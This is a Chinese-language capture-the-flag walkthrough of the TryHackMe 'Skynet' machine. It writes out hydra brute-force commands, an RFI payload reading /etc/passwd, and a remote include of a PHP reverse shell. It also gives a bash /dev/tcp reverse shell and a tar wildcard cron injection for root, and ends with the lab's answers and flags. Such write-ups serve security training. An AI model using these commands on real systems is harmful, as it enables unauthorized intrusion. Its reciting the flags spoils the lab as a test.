THM-Skynet(天网)
侦查
对靶机进行端口扫描
开放有445\文件共享
服务,使用nmap
枚举该服务共享的文件夹
nmap --script=smb-enum-users,smb-enum-shares -p445 10.10.46.75
枚举出两个重要的目录anonymous、milesdyson
也可以使用smbclient -L //10.10.46.75
该命令进行枚举
访问anonymous任何人都可以访问的目录
smbclient //10.10.46.75/anonymous
发现含有attention.txt和logs目录,其中logs目录中有log1.txt、log2.txt、log3.txt,其中只有log1.txt中有内容,我们将其下载
attention.txt内容
A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.
-Miles Dyson
log1.txt内容
log1.txt猜测应该是给我们提供的用户名或者密码的字典,翻译attention.txt内容
提示我们上一次的事故中所有人的密码被修改了,log1.txt应该是每个用户被修改的密码,提示我们使用log1.txt中的密码登录后修改密码,应该这个意思
使用smb枚举得到的用户名milesdyson
,获得到的log1.txt密码字典爆破ssh
服务
hydra -l milesdyson -P log1.txt 10.10.46.75 ssh
遗憾的是并没有爆破出密码
同样的道理,不过这次爆破smb
服务
hydra -l milesdyson -P log1.txt 10.10.46.75 smb
同样的遗憾,并没有爆破成功,那么我们需要另找出路了
靶机还开放着80\Web
,尝试或者一些有用的信息
查看源代码
action=#
所以无论我们如何搜索也无法提交,尝试访问一些敏感的目录和文件
robots.txt
获取目标的中间件信息,以及操作系统
admin目录
提示Forbidden,不允许我们访问该目录
那么我们只剩下最后一种方法,将目录枚举出来
使用gobuster
对Web
服务进行枚举
gobuster dir -u http://10.10.46.75 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e
扫描过程中爆出了/squirrelmail
的页面,访问查看
这是一个登录页面,尝试弱用户名密码admin:admin
登录
并没有成功,仔细想一想,刚刚log1.txt密码和用户名milesdyson
说不定是在这里用的
尝试使用hydra
爆破,获取登录表单传值
获取登录失败页面会返回的字符串,Unknown user or password incorrect
开始爆破
hydra -l milesdyson -P log1.txt 10.10.46.75 http-post-form "/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=Unknown user or password incorrect" -v
成功爆破出密码为cyborg007haloterminator
登录
登录后可以看到一些邮件,后面两个都是一些没用的信息,第一个邮件内容如下
至于什么意思,我也看不懂,但是身为一个学习网路安全的password
这么显眼的单词我是看到了
翻译后
紧接着上面的提示,更改的密码发到了用户的邮箱里,看来上面我们猜测的log1.txt内容为被修改的密码是不对的,这个才是
使用密码)s{A&2Z=F^n_E.B登录用户milesdyson
共享的文件夹
smbclient //10.10.46.75/milesdyson -U milesdyson
这里密码还是手动输入比较好,我复制一直没有成功
可以看到其中一些后缀名为.pdf的书籍,其中有一个notes
的目录,note(笔记)
的意思,这个目录很有可能有我们想要的内容
其中有很多.md
的文件,其中有一个important.txt
,important(重要)
的意思,那么这个文件到底多么重要,我们下载了解便知
重要信息,1. 添加功能到 beta CMS /45kra24zxs28v3yd,添加了一个新的CMS在/45kra24zxs28v3yd
页面
还要一个次要的信息3.多陪陪老婆,可能是多陪陪老婆的原因,这位先生才忘记更改发放的smb
服务的密码,哈哈(胡言乱语ing)
访问/45kra24zxs28v3yd
页面
好像并没有什么提示,说是添加了一个新的CMS,????在哪呢?,查看源代码试一试
什么都没有,啊?只有最有一个办法了,那就是对/45kra24zxs28v3yd
目录进行扫描
gobuster dir -u http://10.10.46.75/45kra24zxs28v3yd/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e
经过一会的扫描,得到了一个administrator
目录
初始访问权限
访问该目录
是一个名称Cuppa
的CMS,尝试使用弱密码admin:admin
或者是admin:123456
进行登录,但是并没有成功
使用searchsploit
搜索发现拥有远程文件包含漏洞
读取该漏洞的利用文档
文件包含页面为:/alerts/alertConfigField.php
,需要传入urlConfig
的值,该值文件包含的路径
使用提供包含/etc/passwd
的payload
进行测试
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
成功包含
现在我们需要使用该漏洞反弹一个shell
,修改php-reverse-shell.php
,使用netcat
进行监听,
开启本机的http.server
服务,然后对php-reverse-shell.php
进行远程文件包含
http://10.10.46.75/45kra24zxs28v3yd/administrator//alerts/alertConfigField.php?urlConfig=http://10.2.34.252:80/php-reverse-shell.php
成功回弹shell
,并且权限时www-data
用户
稳定SEHLL
现在我们需要对靶机进行提权
首先我们把终端切换为交换式终端
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
CTRL + Z
,然后stty raw -echo; fg
成功获取交互式终端
权限提升
查找SUID
文件
find / -perm -04000 -type f 2>/dev/null
没有发现
查找拥有管理员权限的二进制
文件
getcap -r / 2>/dev/null
也没有可疑的信息
查看计划任务cat /etc/crontab
发现,系统会以root
身份运行/home/milesdyson/backups/backup.sh
文件
查看该文件的内容
使用的tar
命令进行的备份,在https://gtfobins.github.io/gtfobins/tar/ 找到对应的提权方法
进过观察,backup.sh
文件执行tar
命令是,最后的内容为*
通配符,*
代表所有的意思,这里他的意思是将所有的文件进行拷贝
我们可以利用该想法,根据paylaod
执行我们想要执行的命令,只需要在/var/www/html
目录创建文件名为--checkpoint=1
和--checkpoint-action=exec=/bin/sh
的文件
然后计划任务在执行的时候语法就变为了
tar cf /home/milesdyson/backups/backup.tgz --checkpoint=1 --checkpoint-action=exec=/bin/sh
但是这里计划任务执行/bin/sh
没有实际的作用
这里我们创建一个reverse.sh
的文件,内容为/bin/bash -i >& /dev/tcp/10.2.34.252/8888 0>&1
然后再本机监听8888
端口等待靶机上线
所以只需要创建三个文件,执行以下脚本即可
touch "/var/www/html/--checkpoint=1"
touch "/var/www/html/--checkpoint-action=exec=bash reverse.sh"
echo "/bin/bash -i >& /dev/tcp/10.2.34.252/8888 0>&1" > /var/www/html/reverse.sh
成功反弹shell
以下是该靶机问题的答案
1. What is Miles password for his emails?
cyborg007haloterminator
2. What is the hidden directory?
/45kra24zxs28v3yd
3. What is the vulnerability called when you can include a remote file for malicious purposes?
remote file inclusion
4. What is the user flag?
7ce5c2109a40f958099283600a9ae807
5. What is the root flag?
3f0372db24753accc7179a282cd6a949
一天就这样结束了,加油!